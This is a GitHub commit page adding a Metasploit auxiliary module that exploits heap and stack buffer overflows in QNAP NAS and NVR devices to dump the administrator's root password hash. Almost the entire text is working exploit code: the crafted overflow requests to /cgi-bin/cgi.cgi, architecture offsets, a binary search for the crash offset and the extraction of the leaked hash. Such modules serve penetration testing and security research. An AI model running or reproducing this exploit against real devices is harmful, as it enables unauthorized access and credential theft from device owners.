-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
226 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,226 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure', | ||
'Description' => %q{ | ||
This module exploits combined heap and stack buffer overflows for QNAP | ||
NAS and NVR devices to dump the admin (root) shadow hash from memory via | ||
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace. | ||
A binary search is performed to find the correct offset for the BOFs. | ||
Since the server forks, blind remote exploitation is possible, provided | ||
the heap does not have ASLR. | ||
Note: you may need to bump RETRIES (default is 0) if the attack fails. | ||
}, | ||
'Author' => [ | ||
'bashis', # Vuln/PoC | ||
'wvu', # Module | ||
'Donald Knuth' # Algorithm | ||
], | ||
'References' => [ | ||
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'], | ||
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm'] | ||
], | ||
'DisclosureDate' => 'Jan 31 2017', | ||
'License' => MSF_LICENSE, | ||
'Actions' => [ | ||
['Automatic', 'Description' => 'Automatic targeting'], | ||
['x86', 'Description' => 'x86 target', offset: 0x16b2], | ||
['ARM', 'Description' => 'ARM target', offset: 0x1562] | ||
], | ||
'DefaultAction' => 'Automatic' | ||
)) | ||
|
||
register_options([ | ||
OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]), | ||
OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]), | ||
OptInt.new('RETRIES', [true, 'Retry count for the attack', 0]) | ||
]) | ||
|
||
register_advanced_options([ | ||
OptBool.new('DEBEUG', [false, 'Print debugging messages', false]) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => '/cgi-bin/authLogin.cgi' | ||
) | ||
|
||
if res && res.code == 200 && (xml = res.get_xml_document) | ||
info = [] | ||
|
||
%w{modelName version build patch}.each do |node| | ||
info << xml.at("//#{node}").text | ||
end | ||
|
||
@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM') | ||
|
||
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected") | ||
|
||
Exploit::CheckCode::Detected | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def run | ||
if check == Exploit::CheckCode::Safe | ||
print_error('Device does not appear to be a QNAP') | ||
return | ||
end | ||
|
||
admin_hash = nil | ||
|
||
(0..datastore['RETRIES']).each do |attempt| | ||
vprint_status("Retry #{attempt} in progress") if attempt > 0 | ||
break if (admin_hash = dump_hash) | ||
end | ||
|
||
if admin_hash | ||
print_good("Hopefully this is your hash: #{admin_hash}") | ||
report_cred(admin_hash) | ||
else | ||
print_error('Looks like we didn\'t find the hash :(') | ||
end | ||
|
||
vprint_status("#{@cnt} HTTP requests were sent during module run") | ||
end | ||
|
||
def dump_hash | ||
# 1 | ||
l = datastore['OFFSET_START'] | ||
r = datastore['OFFSET_END'] | ||
|
||
start = Time.now | ||
t = binsearch(l, r) | ||
stop = Time.now | ||
|
||
time = stop - start | ||
vprint_status("Binary search of #{l}-#{r} completed in #{time}s") | ||
|
||
if action.name == 'Automatic' | ||
target = actions.find do |tgt| | ||
tgt.name == @target | ||
end | ||
else | ||
target = action | ||
end | ||
|
||
return if t.nil? || @offset.nil? || target.nil? | ||
|
||
offset = @offset - target[:offset] | ||
|
||
find_hash(t, offset) | ||
end | ||
|
||
def find_hash(t, offset) | ||
admin_hash = nil | ||
|
||
# Off by one or two... | ||
2.times do | ||
t += 1 | ||
|
||
if (res = send_request(t, [offset].pack('V'))) | ||
if (backtrace = find_backtrace(res)) | ||
token = backtrace[0].split[4] | ||
end | ||
end | ||
|
||
if token && token.start_with?('$1$') | ||
admin_hash = token | ||
addr = "0x#{offset.to_s(16)}" | ||
vprint_status("Admin hash found at #{addr} with offset #{t}") | ||
break | ||
end | ||
end | ||
|
||
admin_hash | ||
end | ||
|
||
# Shamelessly stolen from Knuth | ||
def binsearch(l, r) | ||
# 2 | ||
return if l > r | ||
|
||
# 3 | ||
@m = ((l + r) / 2).floor | ||
|
||
res = send_request(@m) | ||
|
||
return if res.nil? | ||
|
||
# 4 | ||
if find_backtrace(res) | ||
l = @m + 1 | ||
# 5 | ||
else | ||
r = @m - 1 | ||
end | ||
|
||
binsearch(l, r) | ||
|
||
# 6 | ||
@m | ||
end | ||
|
||
def send_request(m, ret = nil) | ||
@cnt = @cnt.to_i + 1 | ||
|
||
print_debeug(m) | ||
|
||
payload = Rex::Text.encode_base64( | ||
Rex::Text.rand_text(1) * m + | ||
(ret ? ret : Rex::Text.rand_text(4)) | ||
) | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => '/cgi-bin/cgi.cgi', | ||
#'vhost' => 'Q', | ||
'vars_get' => { | ||
'u' => 'admin', | ||
'p' => payload | ||
} | ||
) | ||
|
||
if res | ||
print_debeug(res.request) | ||
print_debeug(res.headers) | ||
end | ||
|
||
res | ||
end | ||
|
||
def find_backtrace(res) | ||
res.headers.find do |name, val| | ||
if name.include?('glibc detected') | ||
@offset = val.split[-2].to_i(16) | ||
end | ||
end | ||
end | ||
|
||
def report_cred(admin_hash) | ||
create_credential( | ||
private_type: :nonreplayable_hash, | ||
private_data: admin_hash | ||
) | ||
end | ||
|
||
def print_debeug(msg = '') | ||
if datastore['DEBEUG'] | ||
print_line("%bld%cya[!]%clr #{msg}") | ||
end | ||
end | ||
|
||
end |